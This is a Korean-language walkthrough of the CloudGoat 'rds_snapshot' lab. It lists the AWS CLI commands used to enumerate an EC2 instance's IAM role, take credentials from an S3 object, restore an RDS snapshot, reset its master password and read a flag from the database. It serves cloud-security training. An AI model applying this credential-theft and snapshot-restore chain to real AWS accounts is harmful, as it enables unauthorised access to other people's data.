[CloudGoat] Scenario "rds_snapshot" - solution
시나리오 목표
RDS snapshot에 포함되어 있는 flag 탈취
시나리오 세팅
./cloudgoat.py create rds_snapshot
EC2 인스턴스 1대의 Public IP와 접근할 SSH 키 페어 파일과 command가 주어지며 시작된다.
Solution
1. 초기 환경 탐색
시작과 함께 주어진 인스턴스로 먼저 접속한 뒤, 연결된 Credential 등을 먼저 확인한다.
확인 결과, 인스턴스에 IAM Role이 연결되어있음을 확인할 수 있었다.
이어서 해당 Role의 권한을 확인해보았다. 그 결과 S3 서비스에 대한 모든 작업을 할 수 있다는 점을 발견할 수 있었다.
# Role에 연결된 Policy 목록
aws iam list-role-policies --role-name cg-ec2-admin-role
# Role에 연결된 Policy의 내용 확인
aws iam get-role-policy --role-name cg-ec2-admin-role --policy-name cg-ec2-admin-policy
2. S3 버킷 탐색 및 Credential 탈취
이어서 s3 버킷 목록 중 시나리오에서 사용할 버킷을 확인하고, 내부에서 파일을 탈취할 수 있었다.
해당 파일에서 또 다른 장기 Credential을 획득할 수 있었다.
그리고 해당 Credential을 확인한 결과, RDS와 관련된 일부 작업을 할 수 있는 것을 확인할 수 있다.
# IAM User에 연결된 Policy 목록
aws iam list-user-policies --user-name [IAM User name] --profile theft
# IAM User에 연결된 Policy 내용 확인
aws iam get-user-policy --user-name [IAM User name] --policy-name [policy명] --profile theft
3. RDS 확인
이제 버킷 object에서 탈취한 Credential로 RDS 관련 정보를 탐색해본다.
# RDS 인스턴스 내역 및 정보 확인
aws rds describe-db-instances (--db-instance-identifier) --profile theft
# RDS 스냅샷 내역 및 정보 확인
aws rds describe-db-snapshots (--db-instance-identifier) --profile theft
탐색 결과, 하나의 RDS가 Active한 상황이고, 그 RDS에 대해 스냅샷이 하나 생성되어있는 것을 알 수 있다.
{
"DBInstances": [
{
"DBInstanceIdentifier": "cg-rds",
"DBInstanceClass": "db.t3.micro",
"Engine": "mysql",
"DBInstanceStatus": "available", # 해당 DB가 활성화된 상태
"MasterUsername": "cgadmin",
"Endpoint": {
"Address": "cg-rds.c9q4mm84odmh.us-east-1.rds.amazonaws.com",
"Port": 3306,
"HostedZoneId": "Z2R2ITUGPM61AM"
},
...
{
"DBSnapshots": [
{
"DBSnapshotIdentifier": "cg-rds-snapshot",
"DBInstanceIdentifier": "cg-rds", # cg-rds DB인스턴스의 snapshot
"SnapshotCreateTime": "2024-08-01T07:28:37.637Z",
"Engine": "mysql",
"AllocatedStorage": 20,
"Status": "available", # snapshot을 사용할 수 있는 상태
"Port": 3306,
...
}
]
}
4. RDS 스냅샷 백업 및 조정
문제 내용에 따르면 시나리오 타깃은 RDS 스냅샷에 존재하는 flag이다. 그리고 버킷에서 탈취한 계정의 권한으로 RDS 스냅샷을 복원할 수 있다. (rds:RestoreDBInstanceFromDBSnapshot)
그러므로 이 스냅샷을 복구한 뒤, Master Password를 임의로 변경해 우리가 접속할 수 있도록 해야할 것이다.
아래 커맨드를 통해 스냅샷에서 DB를 복구한다.
복구될 DB는 기존에 활성화된 DB와 동일한 Subnet과 SG를 갖도록 설정해주어 우리가 지금 접속해있는 인스턴스에서 접근할 수 있도록 하자 (혹은 `--publicly-accessible`)
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier [DB Identifier, 새로운 이름으로 임의 지정]
--db-snapshot-identifier [snapshot Identifier]
--db-subnet-group-name [DB가 배치될 subnet group]
--vpc-security-group-ids [DB인스턴스에 연결될 SG]
--profile theft
스냅샷으로 복구된 DB 인스턴스가 활성화(available)되기 까지 대기한다.
aws rds describe-db-instances \
--db-instance-identifier [스냅샷복구한 DB identifier] \
--query "DBInstances[].DBInstanceStatus"
--profile theft
스냅샷 DB가 활성화된 다음, 이 DB에 접속하기 위해 Master Password를 변경한다.
aws rds modify-db-instance \
--db-instance-identifier [복구한 DB identifier] \
--master-user-password [변경할 password] \
--apply-immediately \
--profile theft
5. Flag 탈취
Password 변경 분까지 적용 완료된 뒤, DB의 host와 Password를 바탕으로 DB에 접속한다.
mysql -u cgadmin -h [스냅샷DB의 host] -P 3306 -p
DB의 테이블에서 Flag를 획득할 수 있다.